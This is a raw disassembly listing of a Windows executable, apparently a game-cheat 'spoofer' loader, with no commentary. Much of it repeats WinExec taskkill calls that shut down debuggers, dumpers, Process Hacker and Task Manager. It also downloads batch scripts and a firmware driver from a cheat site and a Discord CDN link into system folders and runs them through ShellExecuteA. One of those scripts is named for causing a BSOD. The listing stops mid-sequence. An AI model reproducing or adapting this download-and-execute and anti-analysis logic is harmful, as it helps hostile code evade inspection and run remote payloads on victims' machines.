lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIFLDRV64.SYS
lea rcx, [rsp + 0xe1f0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIFLDRV64.SYS
lea rcx, [rsp + 0xe1d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe1d0]
call fcn.14005d8d0
mov qword [rsp + 0x7c0], rax
lea rcx, [rsp + 0xe1f0]
call fcn.14005d8d0
mov qword [rsp + 0x7c8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x7c0]
mov rdx, qword [rsp + 0x7c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIDEWINx64.EXE
lea rcx, [rsp + 0xe1b0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIDEWINx64.EXE
lea rcx, [rsp + 0xe190]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe190]
call fcn.14005d8d0
mov qword [rsp + 0x7d0], rax
lea rcx, [rsp + 0xe1b0]
call fcn.14005d8d0
mov qword [rsp + 0x7d8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x7d0]
mov rdx, qword [rsp + 0x7d8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_volumeid64.exe
lea rcx, [rsp + 0xe170]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_volumeid64.exe
lea rcx, [rsp + 0xe150]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe150]
call fcn.14005d8d0
mov qword [rsp + 0x7e0], rax
lea rcx, [rsp + 0xe170]
call fcn.14005d8d0
mov qword [rsp + 0x7e8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x7e0]
mov rdx, qword [rsp + 0x7e8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_NXTPERMMULTISPPOOFERV2.bat
lea rcx, [rsp + 0xe130]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
lea rcx, [rsp + 0xe110]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe110]
call fcn.14005d8d0
mov qword [rsp + 0x7f0], rax
lea rcx, [rsp + 0xe130]
call fcn.14005d8d0
mov qword [rsp + 0x7f8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x7f0]
mov rdx, qword [rsp + 0x7f8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_baseboardspoof.bat
lea rcx, [rsp + 0xe0f0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_baseboardspoof.bat
lea rcx, [rsp + 0xe0d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe0d0]
call fcn.14005d8d0
mov qword [rsp + 0x800], rax
lea rcx, [rsp + 0xe0f0]
call fcn.14005d8d0
mov qword [rsp + 0x808], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x800]
mov rdx, qword [rsp + 0x808]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_baseboardspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_biosspoof.bat
lea rcx, [rsp + 0xe0b0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_biosspoof.bat
lea rcx, [rsp + 0xe090]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe090]
call fcn.14005d8d0
mov qword [rsp + 0x810], rax
lea rcx, [rsp + 0xe0b0]
call fcn.14005d8d0
mov qword [rsp + 0x818], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x810]
mov rdx, qword [rsp + 0x818]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_biosspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_c.bat
lea rcx, [rsp + 0xe070]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemc.bat
lea rcx, [rsp + 0xe050]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe050]
call fcn.14005d8d0
mov qword [rsp + 0x820], rax
lea rcx, [rsp + 0xe070]
call fcn.14005d8d0
mov qword [rsp + 0x828], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x820]
mov rdx, qword [rsp + 0x828]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemc.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_chassisspoof.bat
lea rcx, [rsp + 0xe030]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemchassisspoof.bat
lea rcx, [rsp + 0xe010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xe010]
call fcn.14005d8d0
mov qword [rsp + 0x830], rax
lea rcx, [rsp + 0xe030]
call fcn.14005d8d0
mov qword [rsp + 0x838], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x830]
mov rdx, qword [rsp + 0x838]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemchassisspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xdff0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xdfd0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdfd0]
call fcn.14005d8d0
mov qword [rsp + 0x840], rax
lea rcx, [rsp + 0xdff0]
call fcn.14005d8d0
mov qword [rsp + 0x848], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x840]
mov rdx, qword [rsp + 0x848]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_cpuspoof.bat
lea rcx, [rsp + 0xdfb0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemcpuspoof.bat
lea rcx, [rsp + 0xdf90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdf90]
call fcn.14005d8d0
mov qword [rsp + 0x850], rax
lea rcx, [rsp + 0xdfb0]
call fcn.14005d8d0
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x850]
mov rdx, qword [rsp + 0x858]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemcpuspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_testing.bat
lea rcx, [rsp + 0xdf70]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_testing.bat
lea rcx, [rsp + 0xdf50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdf50]
call fcn.14005d8d0
mov qword [rsp + 0x860], rax
lea rcx, [rsp + 0xdf70]
call fcn.14005d8d0
mov qword [rsp + 0x868], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x860]
mov rdx, qword [rsp + 0x868]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_testing.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_systemspoof.bat
lea rcx, [rsp + 0xdf30]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_systemspoof.bat
lea rcx, [rsp + 0xdf10]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xdf10]
call fcn.14005d8d0
mov qword [rsp + 0x870], rax
lea rcx, [rsp + 0xdf30]
call fcn.14005d8d0
mov qword [rsp + 0x878], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x870]
mov rdx, qword [rsp + 0x878]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_systemspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macchanger.bat
lea rcx, [rsp + 0xdef0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemmacchanger.bat
lea rcx, [rsp + 0xded0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xded0]
call fcn.14005d8d0
mov qword [rsp + 0x880], rax
lea rcx, [rsp + 0xdef0]
call fcn.14005d8d0
mov qword [rsp + 0x888], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x880]
mov rdx, qword [rsp + 0x888]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemmacchanger.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_REMAKEALLINONESPOOFER.bat
lea rcx, [rsp + 0xdeb0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
lea rcx, [rsp + 0xde90]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xde90]
call fcn.14005d8d0
mov qword [rsp + 0x890], rax
lea rcx, [rsp + 0xdeb0]
call fcn.14005d8d0
mov qword [rsp + 0x898], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x890]
mov rdx, qword [rsp + 0x898]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_GUIDCHANGER.bat
lea rcx, [rsp + 0xde70]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rcx, [rsp + 0xde50]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xde50]
call fcn.14005d8d0
mov qword [rsp + 0x8a0], rax
lea rcx, [rsp + 0xde70]
call fcn.14005d8d0
mov qword [rsp + 0x8a8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x8a0]
mov rdx, qword [rsp + 0x8a8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoGUIDCHANGER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
